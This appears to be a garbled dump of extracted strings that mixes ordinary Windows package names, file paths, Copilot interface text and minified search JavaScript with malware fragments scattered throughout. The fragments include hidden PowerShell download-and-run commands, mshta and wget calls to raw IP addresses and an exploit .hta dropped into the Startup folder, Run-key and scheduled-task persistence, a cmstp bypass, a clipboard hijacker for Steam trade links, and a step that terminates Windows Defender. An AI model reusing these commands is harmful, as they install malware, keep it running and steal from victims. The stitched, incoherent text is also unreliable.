Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
lc:\windows\system32//sysmnD
!"!%systemroot%\system32\ieframe.dll
!"!%systemroot%\system32\shell32.dll
windows\system32\wscript.exe\marattia\wisurevizard.wsf!%systemroot%\system32\shell32.dll
windows11
windows11
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
,-windowstylehidden-command"invoke-webrequest
\system32\%
OS=Windows_NT
%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
>wpndatabase (C:\Users\job\AppData\Local\Microsoft\Windows\Notifications)
Notifications (C:\Users\job\AppData\Local\Microsoft\Windows)
GLOBAL.WINDOWSPEOPLEEXPERIENCE.APPXR294THYQ69Q9STFX19EG6RWXW938B35A.WWA
GLOBAL.WINDOWSPEOPLEEXPERIENCE.APPXPKZME2JR11YSRTE06WCK8KYEZWK1PBFX.MCA
Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-OneDrive-Setup-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
windows.hlp`
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Kernel-Package-IsolatedUserMode-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Set the visual quality of Windows Mixed Reality
Customize when your Windows Mixed Reality headset goes to sleepc
Set a custom calibration value for Windows Mixed Reality
Use speech recognition in Windows Mixed Realityq
Choose speakers to use with Windows Mixed Realityp
Choose a microphone to use with Windows Mixed Reality
Enable mirroring of headset audio with Windows Mixed RealityQ
Microsoft-Windows-Kernel-Package-OS-Kernel-LA57-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Kernel-Package-OS-Kernel-HAL-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
FileCopy, %A_ScriptFullPath%, %A_Startup%\Microsoft Security.exeRegWrite, REG_SZ, HKCU, Software\Microsoft\Windows\CurrentVersion\RunFileSetAttrib, +H+S, %A_ScriptFullPath%if clipboard contains /tradeoffer/new/?partner=
windowsdefender
windowsdefender^2f0
2e^com.microsoft.windows.extensionpackage
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
@{C:\Windows\SystemApps\microsoft.windows.narratorquickstart_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDisplayName}
@{C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
ll@{C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDescription}
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDisplayName}
@{C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
@{C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDescription}-9
C:%5CWindows%5CSystemApps%5CParentalControls_cw5n1h2txyewy%5Cresources.pric
\SystemRoot\System32\drivers\ksecdd.sys
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!App
Windows.PreInstalledConfigTask
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-WindowsCore-Network-FlowSteering-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft.Windows.Kernel.Registry
Microsoft.Windows.BackgroundActivityModerator
Microsoft.Windows.Kernel.ObjectManager
Microsoft.Windows.FileSystem.Cache
Microsoft.Windows.Power.SleepstudyHelper
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Containers.RegistryVirtualization
Microsoft.Windows.FileSystem.CimFS
c:\windows\explorer.exe%systemroot%
s@Networking@Windows@winrt@4
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\Database
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\Database
schtasks/create/scminute/mo1/tn"vttimer"/tr%windir%\system32\windows.cmd/ru"
$injpath="c:\windows\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
windows-loader{width:60px;height:60px;border:8pxsolidrgba(255,255,255,0.3);
//62.173.139.157/agenzia/entrat.exeiconfile=c:\windows\system32\shell32.dll
setrunn=createobject("wscript.shell")dimfilefile="%appdata%"&"\windows.exe"
<t>\windows\</t>_
Windows feedbackBing
:software\microsoft\windows\currentversion\runservices
Microsoft-Windows-Wifi-Client-Broadcom-Bcmwl63al-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
url=method+"://"+host+"/"+filenamelocalfilepath="c:\windows\tasks\"+filenameTrojan:HTML/Phish.AAY!MTB
syswow64\windowspowershell
windows\system32\windowspowershell\v1.0\powershell.exepowershell
ell.exepowershell-windowstylehidden-command"$c='';$c+='copy';$c+
WINDOWS\system32\cmd.exI
windows\system32\poqexec.exe
9N92MC09DB30GoodnotesLimited.GoodNotesforWindows_wjqdg2qn10y2jGoodnotes Limited
9N1F85V9T8BNMicrosoftCorporationII.Windows365_8wekyb3d8bbweMicrosoft Corporation
9NRX63209R7BMicrosoft.OutlookforWindows_8wekyb3d8bbweMicrosoft Corporation
9WZDNCRFJ3PVMicrosoft.WindowsScan_8wekyb3d8bbweMicrosoft Corporation
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Vcmd.exe /c C:\Windows\System32\cmstp.exe /au %TEMP%\corpvpn.infahufgiuaguijasbiuaibuhaiuhb
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@2@@ZPEAU345678@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@AEBU?$_Ph@$02@2@@std@@
.P6A_NAEBUShutdownUXOption@Shutdown@UI@Internal@Windows@winrt@@@Z
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AU?$TypedEventHandler@UMenuItem@UI@WindowsUdk@winrt@@UMenuItemInvokedArgs@234@@Foundation@Windows@winrt@@
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe
owindows-1252
temRoot%\system32\mswsock.dl
dir%\system32\vsocklib.dll*
14" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"T
windows.hlp
WindowsHelloShield.svg
Blackout.exe -p <process_id>Terminating Windows Defender\
DIR=WindowsPerceptionService
\WinDeath\WinDeath\obj\Debug\WinDeath.pdbwindows is now deadw
\system32\KeyBoardA.datBaBy ReMoTe Get Video" &&  goto try ||shutdown -r -t 0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Windows.
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
@%SystemRoot%\system32\inetcpl.cpl,-4312#immutable1
@%SystemRoot%\system32\colorcpl.exe,-6#immutable1
@%SystemRoot%\System32\systemcpl.dll,-1#immutable1
@%SystemRoot%\System32\ActionCenterCPL.dll,-1#immutable1
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
winlogon.exe
Assets\Images\WindowsHelloShield.theme-light.svg
c:\windows\system32\mshta.exehttp://94.158.247.32/
UI@Windows
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
aps.prod.windowsb
uap\windows\frameworkudk\warppal.cppA
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
$\w:\\windows\\(help|debug|inf|media)\\\w+\.exe\s+.*3
qwindowsJ
dWindows-Defender-AM
(tedHandler@PEAUIBuffer@Streams@Storage@Windows@@I@FoundN
!?0$0A@$1?GUID_CAUSALITY_WINDOWS_PLATFORM_ID@@3U_'
Windows.D
 Windows
-Windows-Shell-
)globalDiagnosticsFoundationLoggingChannelWindowsapplycto~
dows\system32\y
windowsudk.shellcommon.dll
msEdgeWebAuthnEnclaveAuthenticatorWindowsPlugin
msNurturingSitePinningWithWindowsConsent
%system32%\provtool.exe
%system32%\deviceenroller.exe;%system32%\dmcertinst.exe;%system32%\dmcfghost.exe;%system32%\dmnotificationbroker.exe;%system32%\dmomacpmo.exe;%system32%\edpcleanup.exe;%system32%\hvsievaluator.exe;%system32%\mdmappinstaller.exe;%system32%\mdmdiagnosticstool.exe;%system32%\mousocoreworker.exe;%system32%\musnotificationux.exe;%system32%\musnotifyicon.exe;%system32%\omadmclient.exe;%system32%\upgraderesultsui.exe;%system32%\usocoreworker.exe
%system32%\omadmclient.exe
%system32%\dism;%syswow64%\dism
%system32%\dism.exe
%system32%\bootim.exe;%system32%\deploymentcsphelper.exe;%system32%\directxdatabaseupdater.exe;%system32%\hvsievaluator.exe;%system32%\resetengine.exe;%system32%\systemreset.exe;%system32%\systemsettingsadminflows.exe
%system32%\ipconfig.exe;%system32%\netsh.exe
%system32%\ipconfig.exe;%system32%\netiougc.exe;%system32%\netsh.exe
%system32%\drvinst.exe;%system32%\pnpunattend.exe;%system32%\systemsettingsadminflows.exe;%system32%\wowreg32.exe
%system32%\bthudtask.exe;%system32%\chkdsk.exe;%system32%\chkntfs.exe;%system32%\deviceenroller.exe;%system32%\dispdiag.exe;%system32%\dmomacpmo.exe;%system32%\drvinst.exe;%system32%\fsavailux.exe;%system32%\fsquirt.exe;%system32%\immersivetpmvscmgrsvr.exe;%system32%\iscsicli.exe;%system32%\label.exe;%system32%\mdmappinstaller.exe;%system32%\mdmdiagnosticstool.exe;%system32%\omadmclient.exe;%system32%\osk.exe;%system32%\pnputil.exe;%system32%\rdpclip.exe;%system32%\recover.exe;%system32%\rmttpmvscmgrsvr.exe;%system32%\tabcal.exe;%system32%\vsgraphicsdesktopengine.exe;%system32%\vssvc.exe;%system32%\workfolders.exe
%system32%\devicepairingwizard.exe
%system32%\devicecredentialdeployment.exe
%system32%\eduprintprov.exe;%system32%\proximityuxhost.exe
%system32%\sihost.exe
%system32%\dfrgui.exe
%system32%\dataexchangehost.exe;%system32%\gamepanel.exe;%system32%\quickassist.exe
%system32%;%syswow64%;%programfiles%\windows kits\10\debuggers\%version%
%programfiles%\windows kits\10\debuggers\%version%\ntsd.exe
%programfiles%\windows kits\10\debuggers\arm;%programfiles%\windows kits\10\debuggers\arm\srcsrv;%programfiles%\windows kits\10\debuggers\arm64;%programfiles%\windows kits\10\debuggers\arm64\srcsrv;%programfiles%\windows kits\10\debuggers\x64;%programfiles%\windows kits\10\debuggers\x64\srcsrv;%programfiles%\windows kits\10\debuggers\x86;%programfiles%\windows kits\10\debuggers\x86\srcsrv;%programfiles%\cisco systems\cisco jabber;%programfiles%\microsoft office\root\office%version%;%programfiles%\microsoft office\root\vfs\programfilesx86\microsoft analysis services\as oledb\140;%system32%;%syswow64%
%system32%\bootim.exe;%system32%\dxcap.exe;%system32%\taskkill.exe;%system32%\tasklist.exe;%system32%\tracerpt.exe;%system32%\werfault.exe;%system32%\bdehdcfg.exe;by changing %windir%;%system32%\deploymentcsphelper.exe;by changing %windir%;%system32%\djoin.exe;by changing %windir%;%system32%\dnscacheugc.exe;by changing %windir%;%system32%\ieunatt.exe;by changing %windir%;%system32%\muiunattend.exe;by changing %windir%;%system32%\nUSH_CONTACTSto
%BrowserAppProfile%\Document Windows!y
%BrowserAppProfile%\Document Windows!x
%BrowserAppProfile%\New Windows\Allow!%s
%BrowserAppProfile%\New Windows!UseHooks
%BrowserAppProfile%\New Windows!PopupMgr
Microsoft.Windows.Widgets.Internal.Providers.ActivateApplication.
Windows.Networking.BackgroundTransfer.Internal
Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft.Windows.ParentalControls_1000.25128.
Dir("C:\Users\" & Environ("username") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows_defender.hta")= "PowerShell -windowstyle hidden wget http://sv2.s2u.es/exploit/adjunto.hta-OutFile """"""C:\Users\enacher\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows_defender.hta"""""""
ComSpec=C:\WINDOWS\system32\cmd.exeZ
LI"],ii=["FL","PSFL","CSFL","SDOC"],ri=["FD","PSFD","CSFD"],ui=["PSFL","CSFL","PSLI","CSLI","PSFD","CSFD"],fi=["PSFL","PSLI","PSFD","CSFL","CSLI","CSFD","CoPST"],ei=["ST","QS","SSTS"],oi=["PSLI","PSFL","PSFD","CSLI","CSFL","CSFD","CoPST"],si=g.concat(nt).concat(tt).concat(rt).concat(["ANAH","ANAT","ANAR","ANAF","ANATH"]).concat(["PT","CG","DFLS","LURL","FEH","RSH","BPQ"]),hi=1;n.isApp=ci;n.isSetting=ut;n.isNonCopilotPoweredSetting=li;n.isMedia=ai;n.isFileOrFolder=v;n.isPhoto=e;n.isDocument=u;n.isCopilotSuggestion=vi;n.isFolder=y;n.isContentSearch=yi;n.isWindowsData=pi;n.isModelBasedSearchType=wi;n.isSameType=bi;n.isFileOrFolderScope=ki;n.isStore=di;n.isSemanticResult=gi;n.isFileWithCopilotAction=ft;n.isSuggestionWithCopilotAction=nr;n.isPowerPointSuggestion=tr;n.isExcelSuggestion=ir;n.substrateProvidersEnabled=et;n.searchHistoryAllowed=ct;n.isRecommendedDocsGroupEnabled=lt;n.nicerCloudFilesEnabled=er;n.setZeroInputDataSourcesForL1=or;n.populateScopeConfig=at;at();let o;n.cleanScopePrefixes=hr;n.initScopePrefixes=cr;n.getScopeDisplayName=yt;n.isScopeEnabled=b;n.getScopeConfig=pt;n.isAADVerificationRequired=!1;const yr=/^ht+ps?[;:]+|^www[.
]\s*)(.*)/,kt=/(\/(\w+)\s*)(.*)/;n.parseQuery=pr;n.parseTaskFrame=dr;const gr="action://FindMyStuff/FindDocument",nu="action://FindMyStuff/FindMessage";n.getEffectiveScope=k;n.getEffectiveQuery=iu;const gt="HiddenSuggestionGroups";n.initQueryParser=uu}(WSB||(WSB={})),function(n){function ne(n,t){ir=n;rr=t}function it(){return ir}function te(){return rr}function ie(n,t){return n.type==t.type&&n.source==t.source}function re(t){if(n.config.useCobaltCSS)switch(t){case"WNSGPH":return"WSBEDG";case"WMSRPM":return"WMSMAN";case"WMSRPA":return"WMSAUT";case"WSBREW":return"WSREWF";case"WSBBST":return"WSBSTK";case"SBIWSB":return"WSVISS";case"BFBWSL":return"MSBWSL";case"BFBWPP":return"MSBWPP";case"BFBWMS":return"MSBWMS";case"MDSB10":return"MDSB11";case"EDSB10":return"EDSB11";case"WSBWS0":return"WSBWS1";case"WSHBSH":return"WSHBSH";case"WSBWSC":return"WSBWSD";case"BFBQWQ":return"MSBQWQ";case"DSBI10":return"DSBI11";case"DSBC10":return"DSBC11";case"SSHTRD":return"SHTR11";case"WSBMNC":return"WSBMNS";default:return t}return t}function fe(n){switch(n){case"PP":return"Apps";case"ST":return"Settings";case"FL":return"Files";case"LM":return"Media";default:return null}}function ee(n){switch(n){case"FL":case"LM":case"IFF":case"MFF":case"PT":case"CG":case"MPVD":case"MDOC":case"MFOL":case"MPHO":case"MVID":case"MMUS":case"FEH":case"CoPIFF":case"CoPCFP":return!0;case"OSTMA":case"OSTMAN":case"QS":case"PP":case"LRA":case"ST":case"MPP":case"MST":case"IBA":case"THST":case"TOPP":case"QSCH":case"DFLS":case"CUSE":case"QWQS":case"SMA":case"CoPST":case"RSH":case"BPQ":case"CAST":return!1}throw new Error("New local data source "+n+" needs to be explicity classified as potentially containing PII or not");}function rt(n){let t=h(n);return n.deviceItem&&n.handoffType==2?t+"\t"+n.deviceItem.id:n.handoffType==25?t+"\t"+n.converationId:t+"\t"+n.query}function he(n,t){return n.msbDomain!=null&&n.msbDomain===t.msbDomain&&n.msbId!=null&&n.msbId===t.msbId}function ce(t,i,r){return t.scope===n.Scope.All&&i.staticGroupType===n.GroupType.DMAWeb&&r.staticGroupType===n.GroupType.DMAWeb}function le(t,i){return t.isSearchHomeZI&&nt()&&hf(t)&&!n.config.msbQwsDocsNoRefreshAfterCachedResults&&i.staticGroupType===n.GroupType.RecommendedDocs&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isQwsEnabled())}function er(t,i){return t.targetPathLC&&n.isApp(t.type)&&n.isApp(i.type)&&t.targetPathLC.includes("\\installer\\")&&t.targetPathLC.endsWith(".ico")&&t.text==i.text}function or(n,t){return n.handoffType==5&&n.actionUri=="ms-cortana://navigate/Settings"&&t.deviceItem&&t.deviceItem.id=="CortanaSettings"}function pt(n){let t=ut(n);return t?t.packageFamilyName:null}function sr(t,i,r){if(i){let i=ot(n.FOLDERID_Profile)+"\\onedrive - ",r=t.indexOf(i);if(r>=0){let n=t.indexOf("\\",r+i.length);t=t.substr(n+1)}}else{var u=n.AccessTokenManager.getWindowsIdentity();if(u&&t.startsWith(
NSYSTEM32\system.exe
windows defender\
SOFTWARE\Microsoft\Windows NT\CurrentVeP
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.]
System.Windows.Forms
SystemWindowsForms
MicrosoftVisualStudioWindowsForms
\Device\HarddiskVolume3\Windows\System32\cmd.exe
c:/windows/system32/dt
c:/windows/system32/d
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Safe Browsing Network\Safe Browsing Cookies
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Safe Browsing Network\Safe Browsing Cookies-journal
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Safe Browsing Network\Safe Browsing Cookies-wal
Microsoft-Windows-Media-Format-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-Media-Format-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat
WINDOWS.SIUF
WINDOWS.DIAGNOSTICS
$music!%systemroot%\system32\shell32.dll
%video!%systemroot%\system32\shell32.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ebqbzaggadabhacaai
=xlogin-private.exe"powershell-windowstylehidden-command"invoke-webrequest-uri
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand
r/exec/exec_windows.go.senddnsquery.shutdowncmd/shell/chashell.go).remoteaddr.sendinfopacket).gethostname
c:/windows/system32/drivers/bridge.sys
c:/windows/system32/drivers/mshidumdf.sys1
C:\Windows\WindowsFormsApp2.exec:\disphelper\hr.exeaHR0cDovLzEzNC4xMjIuMTYzLjIzMjo4ODg4L2Rvd24vbkJOWkxGQnlETW5O
c:\windows\system32\cmd.exe/ccurl-
powershell-windowstylehidden-command"invoke-webrequest-uri'%exeurl%'-outfile'%targetpath%'"::runtheexesilently
CodePageWindows1252
WindowsPrincipal
WindowsBuiltInRole
        <section name="system.windows.forms" type="System.Windows.Forms.WindowsFormsSection, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
        <section name="windows" type="System.Configuration.IgnoreSection, System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" allowLocation="false" />
");i.workChatEligibility=n.msbHost.getChatEligibility();n.msbDsbHost&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isMsbDsbBlendFeatureEnabled())&&(i.msbDBM=n.msbDsbHost.getBlendMode())}((e=n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.getFeatures())===null||e===void 0?void 0:e.length)>0&&(i.vks=n.VelocityKeys.getFeatures());i.isSmallIcons=SearchAppWrapper.CortanaApp.isTrayInSmallIconsMode;const c=SearchAppWrapper.CortanaApp.isTraySearchBoxVisibleOnAnyMonitor;if(c!=undefined&&(i.isSearchBoxVisible=c?1:0),n.config.wsbWebView2){const n=this.getWebView2Info();i.isWebView2=(n===null||n===void 0?void 0:n.isWebView2)?1:undefined;i.webView2Version=((o=n===null||n===void 0?void 0:n.webView2Version)===null||o===void 0?void 0:o.length)>0?n.webView2Version:undefined}if(SearchAppWrapper.CortanaApp.systemInfo){const t=n.Host.getSearchAppMemoryCommitMB();i.searchAppMemoryCommitMB=t>0?t:undefined}const l=n.loadWindowsActivationStateFromCache();return n.isNullOrUndefined(l)||(i.windowsActivationStatus=l?1:0),i}getSuggestionsPageName(){return"Page.SmartSearch.AS.Suggestions"}getApplicationName(){return"SmartSearch"}getRankerModelId(){return n.Ranking.suggestionFastRankModelIdCurrent}createNonSuggestionDataSourceObject(t,i){return{T:"D.Url",K:i.getKValue(),Val:t,Ho:n.SyntheticQSCodesMaps.HandoffsForNonSuggestions[t],Gr:n.SyntheticQSCodesMaps.GroupsForNonSuggestions[t],NR:1,Properties:i.getProperties()}}createDataSourceObject(t,i){const f=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();let u=t.mayContainPII&&!n.TestHookUrlParameters;(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.wsbtesthooks)||f!==1&&f!==0||(u=!0);const o=(i||t.instItem).getKValue(),s=i&&typeof i.getHandoffType()=="number"?i.getHandoffType():t.handoffType,e=i?i.getQsCode():t.type;let r={T:"D.Url",K:o,Q:u?n.config.enableHashLoggingForAADUsers?n.InstrumentationHelper.getHashQueryString(t.query):undefined:t.query,MQ:t.ciMatchedQuery?t.ciMatchedQuery:undefined,Val:e,Ho:s,Ans:t.isAnswer?1:undefined,Gr:n.getGroupType(t),HC:t.hc?1:undefined,RAF:t.useRaf?1:undefined,HS:t.fromHistory?1:undefined,F:t.features.length>0?t.features.join(","):undefined,AC:t.autoCompleteType?t.autoCompleteType:undefined,HCMS:t.highConfidenceMetaSuggestionScore,HCS:t.highConfidenceSuggestionScore,LM:t.suggestionLogMeta,Url:u&&e==="FL"?undefined:t.url,Uri:t.actionUri,Src:t.source,Sg:t.segments,NR:t.notAResult?1:undefined,DP:n.config.logProviderFirstSuggestion?t.dataSource:undefined};if(t.deviceItem?r.DeviceSignals=n.safeExecute(()=>this.buildDeviceItemDataSource(u,t),"buildDeviceItemDataSource"):n.isJumpListSuggestion(t)&&(r.DeviceSignals=n.safeExecute(()=>this.buildJumpListItemDataSource(t),"buildJumpListItemDataSource")),n.TestHookUrlParameters){let n=t;n.path&&(r.path=n.path);n.targetPathLC&&(r.targetPath=n.targetPathLC)}return r.RankerSignals=this.buildRankerOutputDataSource(t),r}buildRankerOutputDataSource(n){if(!n.rankingScore&&!n.featureStore)return undefined;return{rankingScore:n.rankingScore,featureStore:n.featureStore,mruSuppressionScore:n.mruSuppressionScore,fbcScore:n.fbcScore,previewPaneScore:n.previewPaneScore}}buildJumpListItemDataSource(t){let r=t.jumpListItem,i={Rank:r.usagePoints||undefined,LAD:n.isValidDate(r.lastAccessed)?r.lastAccessed.toJSON():undefined};if(n.TestHookUrlParameters)i.path=r.path,i.description=t.tooltip;else if(!i.Rank&&!i.LAD)return undefined;return i}getPathCompletionItem(n){return n.type=="PT"?n.deviceItem:null}buildDeviceItemDataSource(t,i){var e;let u=i.deviceItem,r={Rank:u.rankScore};if(((e=u===null||u===void 0?void 0:u.propertyHitsString)===null||e===void 0?void 0:e.length)>0?r.PHits=u.propertyHitsString:u.propertyHits&&u.propertyHits.length>0&&(r.PHits=u.propertyHits.join(",")),t?n.config.enableHashLoggingForAADUsers&&(r.Id=n.InstrumentationHelper.getHashQueryString(u.id),r.DName!=i.query&&(r.DName=n.InstrumentationHelper.getHashQueryString(u.displayName))):(r.Id=u.id,r.DName!=i.query&&(r.DName=u.displayName))
windows\
\system32\
\windows\currentversion\e
TMP=C:\WINDOWS\TEMP*
WindowsFeedback
WindowsAuthenticationEventArgs
c:\windows\system32\cmd.exe/v/cms^ht^a"javascript:try{try{var_
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
c:/windows/system32/drivers/udecx.sys
c:/windows/system32/d
applicationwindowstate="minimize"/><scriptsrc="https://nutrientpoints.com/epa/?partr
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Optionst
\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\plusbag\App Management\ARPCache 
\System32
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule
Volume3\Windows\System32
wow64_microsoft-windows-n..orkcenter.resources_31bf3856ad364e35_en-us_204aecd2c960effb
wow64_microsoft-windows-n..orkconnectionbroker_31bf3856ad364e35_none_c032cceaedb7649a
wow64_microsoft-windows-n..orking-connectivity_31bf3856ad364e35_none_931298398d8c6ae7
wow64_microsoft-windows-n..oundtransfer-common_31bf3856ad364e35_none_67a267ba82af19a7
wow64_microsoft-windows-n..oundtransfer-events_31bf3856ad364e35_none_c6073b126e85bbab
wow64_microsoft-windows-n..oyment-languagepack_31bf3856ad364e35_en-us_4ba137a6a0286030
wow64_microsoft-windows-n..pcredentialprovider_31bf3856ad364e35_none_22b7ae45ba29094c
wow64_microsoft-windows-n..rastructure-feature_31bf3856ad364e35_none_0db61196fa1de494
wow64_microsoft-windows-n..rity-domain-clients_31bf3856ad364e35_none_f2a407b1afca82ec
Shield_MpIsWindowsLockdownMode
Shield_MpGetWindowsLockdownMode
